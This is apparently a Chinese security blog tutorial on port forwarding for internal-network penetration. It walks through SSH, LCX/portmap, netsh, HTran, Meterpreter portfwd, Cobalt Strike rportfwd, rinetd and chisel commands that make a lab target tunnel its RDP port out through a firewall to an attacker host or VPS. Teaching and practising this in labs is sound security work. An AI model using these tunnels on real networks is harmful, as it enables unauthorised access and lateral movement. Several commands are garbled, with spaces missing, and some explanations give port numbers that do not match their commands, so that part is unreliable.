【内网渗透】全网最详细的端口转发教程

场景介绍

最近在真实环境测试和编写靶场实战教程时,总会遇到内网主机无法直接访问,需要通过转发端口、建立代理隧道等方式去访问,以方便后续进一步的横向渗透测试。本文章主要介绍一些端口转发工具的使用。

测试场景拓扑

fig:

图中所标注的IP地址为本地测试地址
Kali服务只能ping通192.168.52.129

正向连接和反向连接

学习端口转发之前,需要了解下什么事正向连接,什么是反向连接,如了解学习过,可以直接跳过本章节。

正向连接

受控端主机监听一个端口,控制端主机主动连接受控端主机,适用于受控端主机有公网IP的情况。
fig:

反向连接

控制端主机监听一个端口,受控端主机反向连接控制端主机,适用于受控端主机没有公网IP的情况。
如下图,受害机在内网,并且没有公网IP,攻击机无法通过IP地址访问,所以攻击机需要监听一个端口,让受害机反向连接攻击机。
fig:

端口转发

端口转发,有时被称为做隧道,是安全壳( SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一个端口。

SSH端口转发

由于当前测试环境win7不自带SSH,需要下载安装SSH
fig:

在github上下载Openssh安装
解压到win7环境,并将路径加入到环境变量中,就可以直接使用
fig:

例1:要将本地的8080端口转发到远程服务器的80端口,可以使用以下命令:

ssh -L 18888:192.168.52.129:3389 kali@192.168.52.128
该条命令将192.168.52.128的1888端口的流量转发到192.168.52.129的3389端口

fig:

例2:要将远程服务器的8080端口转发到本地的80端口,可以使用以下命令:

ssh -R 3389:localhost:3389 username@sshserver
该条命令在目标主机上执行,将目标主机的3389端口指定到本地127.0.0.1的2289端口
可以在kali服务器上直接远程127.0.0.1端口

fig:

LCX

LCX是一款端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。LCX有端口映射和端口转发两大功能,例如当目标的3389端口只对内开放而不对外开放时,可以使用端口映射将3389端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略只允许访问固定某一端口时,可以通过端口转发突破限制。

fig:

本章仅演示LCX

场景一

由于配置了防火墙只允许web访问,这个时候攻击者想访问3389端口,远程连接是不可以的,就需要使用LCX进行端口转发

Web服务器开启了80端口,3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53端口,这个时候攻击者在本地监听53端口并且转发到1111端口,这个时候攻击者连接自己的1111端口,等于访问web服务器的3389端口

在攻击机机器上执行命令,监听本地53端口并且转发到本地1111端口

lcx.exe -listen 53 1111

在靶机执行命令,将本地的3389端口转发到192.168.198.129的 53端口

lcx.exe -slave 192.168.198.129 53 127.0.0.1 3389

在攻击机器上运行远程桌面,地址为127.0.0.1:1111

场景二

内网靶机开启了80端口,3389端口不允许出网,可以将内网靶机的3389端口转发到允许出网的54端口,这个时候攻击者在VPS监听54端口并且转发到1111端口,这个时候攻击者连接VPS的1111端口,等于访问内网靶机的3389端口
在内网靶机上运行以下命令,监听本地3389端口并且转发到VPS的54端口

lcx.exe -slave 192.168.0.114 54 127.0.0.1 3389

在vps运行lcx.exe -listen 54 1111,因为我的机器vps机器是kali系统所以使用的是portmap

./portmap -m 2 -p1 54 -p2 1111

在那内网攻击者机器上连接192.168.0.114:1111端口

netsh

使用windows自带的netsh配置规则也可达到和lcx一样的效果,但没有工具方便。建立转发规则:

netsh interfaceportproxyaddv4tov4listenport=6666 connect=3389connectaddress=192.168.1.2protocol=tcp

查看转发规则:

netsh interfaceportproxydump

删除转发规则:

netsh interfaceportproxydeletev4tov4listenport=7777

HTran

绕过防火墙
将本地3389端口转发到7777端口:

Htran.exe -tran 7777 127.0.0.1 3389

将本地端口转发到服务器端口

靶机:Htran.exe -slave 192.168.111.128 6666127.0.0.1 3389

服务器:/portmap -m 2 -p1 6666 -p2 5555

转发内网端口

靶机:HTran.exe -tran 6666 192.168.1.2 3389

攻击机:rdesktop 192.168.111.132:6666

portfwd(msf自带)

前提:获取到MSF会话

使用portfwd将靶机的3389转发到本地1234端口
在会话中执行:

meterpreter > portfwdadd-l 1234 -r 192.168.111.132-p 3389

使用portfwd list命令来查看转发规则:
fig:

CS插件

梼杌插件拥有一个端口转发工具名为iox:
fig:
发内网端口

rportfwd 8888 192.168.1.2 3389
rportfwd stop 8888

ngroc

访问官网注册登录
fig:
购买免费的隧道
fig:

以3389端口为例,添加完隧道后会有隧道ID和域名,下载Ngroc的客户端上传到靶机上
fig:
fig:

在靶机上执行

sunny.exe clientid id

fig:
fig:
看到上图中 隧道启动成功的字样说明隧道启动成功了!
可以直接用kali连接转发后的端口了 域名+端口

rinetd

vim /etc/rinetd.conf 编辑rinetd.confg文件内容为:0.0.0.0 2222 192.168.111.132
3389 即可将靶机的3389端口转发到本地2222端口

chisel

Chisel是一个快速TCP/UDP隧道,通过HTTP传输,通过SSH进行安全保护。单个可执行文件,包括客户端和服务器。Chisel主要用于通过防火墙,尽管它也可以用于为网络提供安全的端点。

工具下载:

https://github.com/jpillora/chisel

靶场转发本地的3000和8001端口 到10.10.14.64攻击机上。

攻击机:
chisel.exe server --port 12345
靶场:
chisel.exe client 10.10.14.64:12345 3000:127.0.0.1:3000 8001:127.0.0.1:8001

posted @ 2024-06-24 21:27  小C学安全  阅读(327)  评论(0编辑  收藏  举报